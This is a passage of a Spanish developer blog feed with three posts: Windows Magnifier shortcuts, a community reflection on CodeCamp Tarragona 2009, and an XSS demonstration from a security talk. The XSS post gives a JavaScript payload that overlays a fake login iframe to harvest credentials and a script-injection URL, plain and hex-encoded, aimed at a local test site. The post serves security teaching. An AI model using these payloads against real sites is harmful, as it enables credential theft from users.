&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+I&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Invertir colores&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:7;"&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+teclas de direcci&amp;oacute;n&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Movimiento panor&amp;aacute;mico en el sentido de las teclas de direcci&amp;oacute;n&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:8;"&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Ctrl+Alt+R&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Cambiar el tama&amp;ntilde;o de la lente&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;"&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Tecla del logotipo de Windows &lt;span style="mso-no-proof:yes;"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/clip_5F00_image002_5F00_3C666458.gif"&gt;&lt;img height="16" width="16" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/clip_5F00_image002_5F00_thumb_5F00_37EFE391.gif" alt="clip_image002" border="0" title="clip_image002" style="border-bottom:0px;border-left:0px;display:inline;border-top:0px;border-right:0px;" /&gt;&lt;/a&gt;&lt;/span&gt;+Esc&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="border-bottom:windowtext 1pt solid;border-left:windowtext 1pt solid;padding-bottom:1.5pt;padding-left:1.5pt;width:149.25pt;padding-right:1.5pt;border-top:windowtext 1pt solid;border-right:windowtext 1pt solid;padding-top:1.5pt;mso-border-alt:solid windowtext .5pt;"&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family:&amp;#39;Times New Roman&amp;#39;,&amp;#39;serif&amp;#39;;font-size:12pt;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-fareast-language:es;"&gt;Cerrar la Lupa&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
&lt;p&gt;Realmente una utilidad que nos ser&amp;aacute; muy &amp;uacute;til para nuestras presentaciones.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1231" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author><category term="Utilidades" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/Utilidades/default.aspx" /><category term="windows7" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/windows7/default.aspx" /></entry><entry><title>Ejemplo inyección XSS + Material</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2009/10/21/ejemplo-inyecci-243-n-xss-material.aspx" /><id>/Community/blogs/marckys/archive/2009/10/21/ejemplo-inyecci-243-n-xss-material.aspx</id><published>2009-10-20T23:37:19Z</published><updated>2009-10-20T23:37:19Z</updated><content type="html">&lt;p align="justify"&gt;Toda una experiencia el paso por el CodeCamp y una de las sesiones fue mi introducción a las buenas prácticas para defenderse de los ataques XSS.&lt;/p&gt;  &lt;p&gt;Un tema como este es difícil concentrarlo en 60 minutos y se me quedaron muchos ejemplos en el tintero.&lt;/p&gt;  &lt;p&gt;Para empezar podéis bajaros la presentación y la web de pruebas que realicé para poder probar las diferentes técnicas XSS en el siguiente link.&amp;#160; &lt;/p&gt;  &lt;p&gt;web&lt;a title="ejemplo" href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/XSS.rar" target="_blank"&gt;&lt;img title="images" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;margin-left:0px;margin-right:0px;border-right-width:0px;" height="48" alt="images" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_274FAC0E.jpg" width="51" border="0" /&gt;&lt;/a&gt;&amp;#160;&amp;#160;&amp;#160; DB&lt;a title="ejemplo" href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/ASPNETDB.rar" target="_blank"&gt;&lt;img title="images" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;margin-left:0px;margin-right:0px;border-right-width:0px;" height="48" alt="images" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_4B0DF50A.jpg" width="51" border="0" /&gt;&lt;/a&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/images_5F00_462B414E.jpg"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Ahora terminaré uno de los ejemplos que me parece muy interesante y no pude realizar por falta del valioso tiempo.&lt;/p&gt;  &lt;h4&gt;Ejemplo de XSS indirecto para robar la información del usuario:&lt;/h4&gt;  &lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; &lt;strong&gt;URL vulnerable al ataque:&lt;/strong&gt; A la url se le pasa el nombre de la revista y el la foto.&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/urlXss_5F00_2199B3CA.jpg"&gt;&lt;img title="urlXss" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;border-right-width:0px;" height="38" alt="urlXss" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/urlXss_5F00_thumb_5F00_757CB6D8.jpg" width="504" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;2. La página:&lt;/strong&gt; Muestra la información directamente sin validar los datos y es vulnerable a la inyección de código script y HTML.&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/NoticiaXss_5F00_45556C15.jpg"&gt;&lt;img title="NoticiaXss" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;border-right-width:0px;" height="260" alt="NoticiaXss" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/NoticiaXss_5F00_thumb_5F00_6BB9E011.jpg" width="248" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;3. Fichero JS:&lt;/strong&gt; Como el ataque que planteamos es bastante elaborado necesitaríamos introducir muchos texto en la url, y por ese motivo utilizaremos un recurso externo como un fichero JS para realizar el ataque.&lt;/p&gt;  &lt;pre&gt;onload = &lt;span style="color:#0000ff;"&gt;function&lt;/span&gt; XSS() {

    ifrm = &lt;span style="color:#0000ff;"&gt;document&lt;/span&gt;.createElement(&amp;quot;&lt;span style="color:#8b0000;"&gt;IFRAME&lt;/span&gt;&amp;quot;);
    ifrm.setAttribute(&amp;quot;&lt;span style="color:#8b0000;"&gt;src&lt;/span&gt;&amp;quot;, &amp;quot;&lt;span style="color:#8b0000;"&gt;http://localhost:51001/WebHack/Login.aspx&lt;/span&gt;&amp;quot;);
    ifrm.style.width = 350 + &amp;quot;&lt;span style="color:#8b0000;"&gt;px&lt;/span&gt;&amp;quot;;
    ifrm.style.height = 300 + &amp;quot;&lt;span style="color:#8b0000;"&gt;px&lt;/span&gt;&amp;quot;;
    ifrm.frameBorder = &amp;quot;&lt;span style="color:#8b0000;"&gt;0&lt;/span&gt;&amp;quot;;
    &lt;span style="color:#0000ff;"&gt;var&lt;/span&gt; img = &lt;span style="color:#0000ff;"&gt;document&lt;/span&gt;.getElementById(&amp;quot;&lt;span style="color:#8b0000;"&gt;ctl00_ContentPlaceHolder1_foto&lt;/span&gt;&amp;quot;)
    img.parentNode.appendChild(ifrm);
    img.style.display = &amp;quot;&lt;span style="color:#8b0000;"&gt;none&lt;/span&gt;&amp;quot;;
}&lt;/pre&gt;

&lt;p&gt;Este script modifica el documento atacado “que previamente hemos estudiado” para insertar un iframe el cual utilizará una página intrusa para pedir los datos al usuario de su cuenta , haciéndole creer que su sesión ha caducado.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Url Modificada:&lt;/strong&gt; Insertaremos un script en la url para mostrar el iframe en el lugar de la imagen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ASCII:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;…revista.aspx?&amp;amp;revista=Jaque&amp;lt;script src=&amp;quot;http://localhost/WebHack/css/Hack.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HEX:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;…revista.aspx?&amp;amp;revista=Jaque%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%2F%57%65%62%48%61%63%6B%2F%63%73%73%2F%48%61%63%6B%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Página con la url atacada:&lt;/strong&gt;&lt;/p&gt;

&lt;p align="center"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/ataqueXss_5F00_61F47899.jpg"&gt;&lt;img title="ataqueXss" style="border-top-width:0px;display:inline;border-left-width:0px;border-bottom-width:0px;border-right-width:0px;" height="244" alt="ataqueXss" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/ataqueXss_5F00_thumb_5F00_3C8D15DC.jpg" width="446" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p align="left"&gt;Espero que la sesión del CodeCamp y el ejemplo hayan sido de vuestro agrado.&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1211" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author><category term="eventos" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/eventos/default.aspx" /><category term="seguridad" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/seguridad/default.aspx" /><category term="XSS" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/XSS/default.aspx" /></entry><entry><title>¿Qué es Comunidad ?</title><link rel="alternate" type="text/html" href="/Community/blogs/marckys/archive/2009/10/18/191-qu-233-es-comunidad.aspx" /><id>/Community/blogs/marckys/archive/2009/10/18/191-qu-233-es-comunidad.aspx</id><published>2009-10-18T19:00:00Z</published><updated>2009-10-18T19:00:00Z</updated><content type="html">&lt;p align="justify"&gt;Despu&amp;eacute;s de este fin de semana donde han pasado tantas cosas y donde despu&amp;eacute;s de tanto tiempo se han cumplido con creces nuestras expectativas, puedo decir de primera mano que he experimentado realmente lo que es la comunidad.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;La comunidad&lt;/strong&gt; son 30 ponentes que sin ning&amp;uacute;n animo de lucro, se comprometen y se esfuerzan para hacer llegar a todo el mundo los temas que m&amp;aacute;s nos interesan sobre la tecnolog&amp;iacute;a.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;La comunidad&lt;/strong&gt; son todas esas personas que han dedicado su tiempo durante varios meses&amp;nbsp; para poder organizar un evento como el CodeCamp y que finalmente haya sido una realidad. &lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;La comunidad&lt;/strong&gt; son las cerca de 250 personas que han pasado un fin de semana en Tarragona, compartiendo experiencias y conoci&amp;eacute;ndose de igual a igual.&lt;/p&gt;
&lt;p align="justify"&gt;&lt;strong&gt;La comunidad&lt;/strong&gt; son esas comunidades como Mono y los grupos .NET que son capaces de&amp;nbsp; utilizar en su beneficio los puntos que les unen y dejar en la puerta los que los separan.&lt;/p&gt;
&lt;p align="justify"&gt;Realmente puedo decir que este fin de semana he experimentado y he vivido de cerca lo que realmente es la comunidad, estoy muy contento y orgulloso de poder formar parte de esta familia.&lt;/p&gt;
&lt;p align="left"&gt;Muchas Gracias a todos por ser parte de la comunidad.&lt;/p&gt;
&lt;p align="left"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 align="center"&gt;CodeCamp Tarragona 2009&lt;/h2&gt;
&lt;p align="justify"&gt;&lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/PA180756_5F00_122EECBC.jpg"&gt;&lt;img border="0" width="494" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/PA180756_5F00_thumb_5F00_5289B18B.jpg" alt="PA180756" height="376" style="border-right:0px;border-top:0px;display:block;float:none;margin-left:auto;border-left:0px;margin-right:auto;border-bottom:0px;" title="PA180756" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://lonetcamp.com/Community/aggbug.aspx?PostID=1201" width="1" height="1"&gt;</content><author><name>Marckys</name><uri>http://lonetcamp.com/Community/members/Marckys/default.aspx</uri></author><category term="eventos" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/eventos/default.aspx" /><category term="Opini&amp;#243;n" scheme="http://lonetcamp.com/Community/blogs/marckys/archive/tags/Opini_26002300_243_3B00_n/default.aspx" /></entry></feed>